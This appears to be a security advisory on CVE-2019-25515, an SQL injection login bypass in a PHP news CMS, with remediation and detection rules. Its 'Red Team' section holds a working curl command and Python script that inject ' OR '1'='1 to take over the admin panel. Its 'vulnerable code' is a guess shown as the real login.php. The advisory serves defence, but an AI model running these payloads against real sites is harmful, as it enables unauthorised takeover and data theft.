CVE-2019-25515

Executive Summary

CVE-2019-25515 is a critical authentication bypass vulnerability in the Jettweb PHP Hazir Haber Sitesi Scripti V3, a content management system (CMS) for news websites. The flaw resides in the login.php administration panel, where unauthenticated attackers can inject crafted SQL syntax (specifically using = and OR operators) into the username and password fields to bypass authentication entirely. This allows full administrative access to the backend, enabling attackers to modify content, exfiltrate data, or deploy further attacks. The vulnerability is publicly known, with proof-of-concept (PoC) code available, and no official patch has been released by the vendor. The CVSS score is 9.8 (Critical), and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild but high risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (Jettweb PHP Hazir Haber Sitesi Scripti V3). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database access possible.
• Integrity Impact: High (I:H) – Admin panel can be fully controlled.
• Availability Impact: High (A:H) – Potential for denial of service or data destruction.

Threat Level: Critical. Unauthenticated remote attackers can gain full administrative control over the CMS.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection (CWE-89) in the authentication logic of login.php. The application likely constructs SQL queries by directly concatenating user-supplied input without sanitization or parameterized queries. For example, the backend code might execute:

SELECT * FROM admin WHERE username = '$username' AND password = '$password'

By submitting ' OR '1'='1 as both the username and password, the query becomes:

SELECT * FROM admin WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'

This evaluates to TRUE for the entire condition, returning the first admin row and granting access. The use of = and OR operators allows bypassing authentication without needing valid credentials.

Attack Flow:

1. Attacker identifies the login panel (e.g., http://target.com/admin/login.php).
2. Attacker submits HTTP POST request with username=' OR '1'='1 and password=' OR '1'='1.
3. The server processes the malicious SQL, returns a valid session, and grants admin access.
4. Attacker can now access the admin dashboard, modify content, upload files, or execute further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (login.php):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM admin WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // Grant access
    session_start();
    $_SESSION['admin'] = true;
    header('Location: dashboard.php');
} else {
    echo "Invalid credentials";
}
?>

Patched Code (using prepared statements):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM admin WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    session_start();
    $_SESSION['admin'] = true;
    header('Location: dashboard.php');
} else {
    echo "Invalid credentials";
}
?>

The patched version uses parameterized queries, preventing SQL injection. Since no official patch exists, manual remediation is required.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Jettweb PHP Hazir Haber Sitesi Scripti V3.
• Access to the login panel (e.g., http://target/admin/login.php).

Exploitation Steps:

1. Use curl to send a crafted POST request:

   curl -X POST http://target/admin/login.php \
   -d "username=' OR '1'='1&password=' OR '1'='1"
   

2. If successful, the server responds with a redirect to dashboard.php and sets a session cookie.
3. Access the admin panel with the obtained session:

   curl -b "PHPSESSID=attacker_session_id" http://target/admin/dashboard.php
   

Alternative PoC (Python):

import requests

url = "http://target/admin/login.php"
data = {
    "username": "' OR '1'='1",
    "password": "' OR '1'='1"
}
session = requests.Session()
response = session.post(url, data=data, allow_redirects=False)
if response.status_code == 302 and 'dashboard.php' in response.headers.get('Location', ''):
    print("Authentication bypass successful!")
    # Now access dashboard
    dashboard = session.get("http://target/admin/dashboard.php")
    print(dashboard.text)
else:
    print("Exploit failed")

Blue Team (Defensive)

Detection & Prevention:

• Monitor HTTP POST requests to login.php containing SQL keywords (OR, AND, ', --, #) in username/password fields.
• Implement Web Application Firewall (WAF) rules to block SQL injection patterns.
• Use input validation: reject any input containing single quotes, double dashes, or SQL operators.
• Enforce parameterized queries in PHP (PDO or MySQLi prepared statements).
• Restrict admin panel access via IP whitelisting or VPN.

Lab Setup:

• Deploy a vulnerable instance using Docker (if available) or manually install the script on a local server.
• Use Burp Suite or OWASP ZAP to intercept and modify login requests.
• Test with the provided PoC to confirm vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /admin/login.php with parameters containing ' OR '1'='1 or similar SQL injection patterns.
  • Unusual session cookies (e.g., PHPSESSID) from IPs not in the admin whitelist.
  • Access to /admin/dashboard.php from unexpected IPs.

• File IOCs:

  • Modified or new files in the admin directory (e.g., webshells, backdoors).
  • Suspicious entries in server logs (e.g., access.log showing SQL injection attempts).

• Log IOCs:

  • Apache/Nginx access logs showing POST /admin/login.php with username=' OR '1'='1.
  • Database logs showing unusual queries (e.g., SELECT * FROM admin WHERE username = '' OR '1'='1').

Detection Engineering

YARA Rule

rule CVE_2019_25515_Authentication_Bypass {
    meta:
        description = "Detects SQL injection attempts targeting Jettweb PHP Hazir Haber Sitesi Scripti V3 login.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25515"
    strings:
        $sqli1 = /username=.*' OR '1'='1/ nocase
        $sqli2 = /password=.*' OR '1'='1/ nocase
        $sqli3 = /username=.*' OR '1'='1/ nocase
        $sqli4 = /password=.*' OR '1'='1/ nocase
    condition:
        any of ($sqli*)
}

Sigma Rule

title: CVE-2019-25515 Jettweb Authentication Bypass via SQL Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting Jettweb PHP Hazir Haber Sitesi Scripti V3 login.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/login.php'
        cs-uri-query|contains: 
            - "' OR '1'='1"
            - "' OR 1=1"
            - "' OR '1'='1"
    condition: selection
falsepositives:
    - Legitimate testing
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2019-25515 Jettweb Authentication Bypass SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/login.php"; http_uri;
    content:"username"; http_client_body;
    content:"' OR '1'='1"; http_client_body;
    content:"password"; http_client_body;
    content:"' OR '1'='1"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable server from the internet if possible.
2. Apply virtual patching via WAF rules to block SQL injection patterns.
3. Manually patch the login.php file by replacing vulnerable code with parameterized queries (see patched code above).
4. Change all admin passwords and review user accounts for unauthorized access.

Long-Term Fixes:

• Upgrade to a supported CMS or rewrite the application using secure coding practices.
• Implement input validation and output encoding.
• Use prepared statements for all database queries.
• Conduct regular security audits and penetration testing.

Workarounds:

• Disable the admin panel or restrict access via .htaccess:

  <Files "login.php">
      Order Deny,Allow
      Deny from all
      Allow from 192.168.1.0/24
  </Files>
  

• Use HTTP authentication (Basic Auth) as an additional layer.

Valters IT